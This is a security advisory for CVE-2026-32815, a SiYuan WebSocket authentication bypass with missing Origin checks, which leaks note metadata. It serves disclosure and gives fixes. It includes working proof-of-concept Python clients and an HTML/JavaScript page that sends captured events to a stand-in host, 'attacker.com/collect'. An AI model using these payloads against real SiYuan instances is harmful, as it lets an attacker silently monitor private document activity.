CVE-2026-32815
SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Auswirkung
# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure ## Summary SiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity. ## Affected Component - **File:** `kernel/server/serve.go:728-731` - **Function:** `serveWebSocket()` → `HandleConnect` handler - **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated) - **Version:** SiYuan <= 3.5.9 ## Root Cause The WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page: ```go util.WebSocketServer.HandleConnect(func(s *melody.Session) { authOk := true if "" != model.Conf.AccessAuthCode { // ... normal session/JWT authentication checks ... // authOk = false if no valid session } if !authOk { // Bypass: allow connection for auth page keepalive // 用于授权页保持连接,避免非常驻内存内核自动退出 authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") } if !authOk { s.CloseWithMsg([]byte(" unauthenticated")) return } util.AddPushChan(s) // Session added to broadcast list }) ``` Three issues combine: 1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks. 2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients. 3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website. ## Proof of Concept **Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.** ### 1. Direct unauthenticated connection ```python import asyncio, json, websockets async def spy(): # Connect WITHOUT any authentication cookie uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth" async with websockets.connect(uri) as ws: print("Connected without authentication!") while True: msg = await ws.recv() data = json.loads(msg) cmd = data.get("cmd") d = data.get("data", {}) if cmd == "rename": print(f"[LEAKED] Document renamed: {d.get('title')}") elif cmd == "create": print(f"[LEAKED] Document created: {d.get('path')}") elif cmd == "renamenotebook": print(f"[LEAKED] Notebook renamed: {d.get('name')}") elif cmd == "removeDoc": print(f"[LEAKED] Document deleted") elif cmd == "transactions": for tx in d if isinstance(d, list) else []: for op in tx.get("doOperations", []): if op.get("action") == "updateAttrs": new = op.get("data", {}).get("new", {}) print(f"[LEAKED] Doc attrs: title={new.get('title')}") asyncio.run(spy()) ``` ### 2. Cross-origin attack from malicious website ```html <!-- Hosted on https://attacker.com/spy.html --> <script> // Victim has SiYuan running on localhost:6806 const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth"); ws.onopen = () => console.log("Connected to victim's SiYuan!"); ws.onmessage = (event) => { const data = JSON.parse(event.data); // Exfiltrate document operations to attacker fetch("https://attacker.com/collect", { method: "POST", body: JSON.stringify({ cmd: data.cmd, data: data.data, timestamp: Date.now() }) }); }; </script> ``` ### 3. Confirmed leaked events The following events are received by the unauthenticated WebSocket: | Event | Leaked Data | |-------|-------------| | `savedoc` | Document root ID, operation data | | `transactions` | Document title, ID, attrs (new/old) | | `create` | Document path, notebook info (name, ID) | | `rename` | New document title, path, notebook ID | | `renamenotebook` | New notebook name, notebook ID | | `removeDoc` | Document deletion event | ### 4. Cross-origin connection confirmed ```python import websockets, asyncio async def test(): uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth" extra_headers = {"Origin": "https://evil.attacker.com"} async with websockets.connect(uri, additional_headers=extra_headers) as ws: print("Cross-origin connection accepted!") # SUCCEEDS asyncio.run(test()) ``` **Result:** Connection succeeds — no Origin validation. ## Attack Scenario 1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance 2. Victim has `accessAuthCode` configured (server is password-protected) 3. Victim visits `attacker.com` in any browser 4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth` 5. WebSocket connection bypasses authentication 6. Attacker silently monitors ALL document operations in real-time: - Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft") - Notebook names ("Personal", "Work - Confidential") - File paths and document IDs - Create/rename/delete operations 7. Attacker builds a profile of the victim's note-taking activity without any visible indication ## Impact - **Severity:** HIGH (CVSS ~7.5) - **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets) - Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured - Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance - Real-time information disclosure of document metadata (titles, paths, operations) - No user interaction required beyond visiting a malicious website - Affects both Electron desktop and Docker/server deployments - Silent — no visible indication to the user ## Suggested Fix ### 1. Remove the URL parameter authentication bypass ```go // Remove or restrict the auth page bypass // Before (vulnerable): authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") // After: Use a separate, restricted endpoint for auth page keepalive // that does NOT receive broadcast events ``` ### 2. Add Origin header validation ```go util.WebSocketServer.HandleConnect(func(s *melody.Session) { // Validate Origin header origin := s.Request.Header.Get("Origin") if origin != "" { allowed := false for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} { if strings.HasPrefix(origin, o) { allowed = true break } } if !allowed { s.CloseWithMsg([]byte("origin not allowed")) return } } // ... rest of auth logic }) ``` ### 3. Separate keepalive from broadcast If the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.
Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, ohne Anmeldung, ohne Zutun eines Nutzers. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden.
Betroffene Pakete
| Ökosystem | Paket | Betroffen | Behoben in |
|---|---|---|---|
| go | github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260313024916-fd6526133bb3 | nicht erfasst |
Betroffene Produkte · B3log
| Produkt | Betroffene Versionen |
|---|---|
| Siyuan | vor 3.6.1 |
Schwachstellenklasse
Referenzen
- NVD-Eintrag
- CVE.org-Eintrag
- GitHub-Advisory
- https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3
- https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6
- https://github.com/advisories/GHSA-xp2m-98x8-rpj6
- https://nvd.nist.gov/vuln/detail/CVE-2026-32815